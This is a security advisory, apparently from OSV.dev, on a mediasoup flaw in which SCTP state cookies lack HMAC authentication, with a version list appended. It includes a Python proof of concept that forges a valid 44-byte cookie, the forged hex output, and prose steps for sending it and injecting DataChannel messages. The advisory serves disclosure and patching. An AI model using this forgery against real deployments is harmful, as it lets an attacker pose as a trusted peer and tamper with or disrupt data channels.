mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)

5.6 / 10

Medium

Network High None None Unchanged Low Low Low

Summary

mediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.

Details

RFC 9260 Section 5.1.3 states: "An endpoint MUST use a one-time-use secret key to protect the State Cookie." The mediasoup implementation ignores this requirement. The state cookie is defined in worker/include/RTC/SCTP/association/StateCookie.hpp with the following structure (44 bytes total):

Offset 0: Magic1 = "msworker" (hardcoded, 8 bytes)
Offset 8: localVerificationTag (4 bytes, attacker-controlled)
Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)
Offset 16-27: TSN and window fields (attacker-controlled)
Offset 28: tieTag (8 bytes, attacker-controlled)
Offset 36: NegotiatedCapabilitiesField containing Magic2 = 0xAD81 (hardcoded)

The validation function StateCookie::IsMediasoupStateCookie() in worker/src/RTC/SCTP/association/StateCookie.cpp only checks:

bufferLength == 44
bytes[0:8] == "msworker" (Magic1, always the same)
ntohs(bytes[38:40]) == 0xAD81 (Magic2, always the same)

No HMAC, no per-session secret, no nonce. All "magic" values are published constants in the public header.

When a COOKIE-ECHO is received in Association::HandleReceivedCookieEchoChunk() (without an existing TCB), the sole security check is:

if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag())

Because the attacker controls both the SCTP packet header's verification tag field AND the localVerificationTag field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.

Additionally, Association::ValidateReceivedPacket() explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function Packet::ValidateCRC32cChecksum() exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.

This vulnerability affects PlainTransport with SCTP enabled when used without SRTP (SRTP is optional via srtpCryptoSuite parameter). WebRtcTransport is NOT affected because its SCTP runs inside a DTLS session. comedia mode (default: false) increases exposure by accepting packets from any source IP.

PoC

Prerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (srtpCryptoSuite not set). The server's UDP IP:port must be reachable.

The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:

#!/usr/bin/env python3
"""
Proof-of-concept: mediasoup SCTP state cookie forgery
Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.
Requires: struct (stdlib only)

Usage: python3 poc_cookie_forge.py
"""
import struct

# Attacker-chosen values -- all arbitrary
LOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet's Verification Tag field
REMOTE_VT = 0xCAFEBABE
LOCAL_TSN = 1000
REMOTE_TSN = 2000
RWND = 65535
TIE_TAG = 0

# Build a 44-byte state cookie matching mediasoup's StateCookie layout
cookie = bytearray(44)

# Offset 0: Magic1 = "msworker" (0x6D73776F726B6572)
cookie[0:8] = b'msworker'

# Offset 8: localVerificationTag (big-endian)
struct.pack_into('>I', cookie, 8, LOCAL_VT)

# Offset 12: remoteVerificationTag
struct.pack_into('>I', cookie, 12, REMOTE_VT)

# Offset 16: localInitialTsn
struct.pack_into('>I', cookie, 16, LOCAL_TSN)

# Offset 20: remoteInitialTsn
struct.pack_into('>I', cookie, 20, REMOTE_TSN)

# Offset 24: remoteAdvertisedReceiverWindowCredit
struct.pack_into('>I', cookie, 24, RWND)

# Offset 28: tieTag (8 bytes)
struct.pack_into('>Q', cookie, 28, TIE_TAG)

# Offset 36: NegotiatedCapabilitiesField
# [36]: reserved = 0
# [37]: bits (ABCD flags) = 0
# [38:40]: Magic2 = 0xAD81 (network byte order)
# [40:42]: max outbound streams
# [42:44]: max inbound streams
cookie[36] = 0       # reserved
cookie[37] = 0       # bits
struct.pack_into('>H', cookie, 38, 0xAD81)   # Magic2
struct.pack_into('>H', cookie, 40, 1024)      # maxOutboundStreams
struct.pack_into('>H', cookie, 42, 1024)      # maxInboundStreams

# Reproduce StateCookie::IsMediasoupStateCookie() logic:
def is_mediasoup_state_cookie(buf):
    if len(buf) != 44:
        return False
    if buf[0:8] != b'msworker':
        return False
    magic2 = struct.unpack('>H', buf[38:40])[0]
    if magic2 != 0xAD81:
        return False
    return True

assert is_mediasoup_state_cookie(cookie), "Cookie rejected - BUG in PoC"

# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):
# receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag()
packet_vt    = LOCAL_VT
cookie_local_vt = struct.unpack('>I', cookie[8:12])[0]
auth_passes = (packet_vt == cookie_local_vt)

print("=== mediasoup SCTP State Cookie Forgery PoC ===")
print(f"Forged cookie (hex): {cookie.hex()}")
print(f"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}")
print(f"localVerificationTag in cookie: {cookie_local_vt:#010x}")
print(f"SCTP packet verificationTag:    {packet_vt:#010x}")
print(f"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}")
print()
print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake")
print("Next step: attacker sends DATA chunks to inject DataChannel messages")

Observed output when run:

=== mediasoup SCTP State Cookie Forgery PoC ===
Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400
IsMediasoupStateCookie(): True
localVerificationTag in cookie: 0xdeadbeef
SCTP packet verificationTag:    0xdeadbeef
HandleReceivedCookieEchoChunk auth check passes: True

Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake
Next step: attacker sends DATA chunks to inject DataChannel messages

To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to LOCAL_VT, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if comedia=true).

Impact

Any mediasoup deployment using PlainTransport with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when comedia mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.

Fixed in


          0.22.5

References

Updated Aug 26, 2026 · Source: OSV.dev

May 26, 2026

0.21.0 minor

Apr 15, 2026

0.20.0 minor

Aug 26, 2025

0.19.1 patch

Aug 26, 2025

0.19.0 minor

Jul 29, 2025

0.18.2 patch

Jul 04, 2025

0.18.1 patch

Apr 09, 2025

0.18.0 minor

Mar 26, 2025

0.17.2 patch yanked

Mar 21, 2025

0.17.1 patch

Aug 12, 2024

0.17.0 minor

May 10, 2024

0.16.0 minor

Feb 05, 2024

0.15.0 minor

Jan 01, 2024

0.14.0 minor

Dec 18, 2023

0.13.0 minor

Dec 04, 2023

0.12.0 minor

Oct 27, 2023

0.11.4 patch

Feb 15, 2023

0.11.3 patch

Feb 01, 2023

0.11.2 patch

Nov 06, 2022

0.11.1 patch

Oct 21, 2022

0.11.0 minor

Aug 29, 2022

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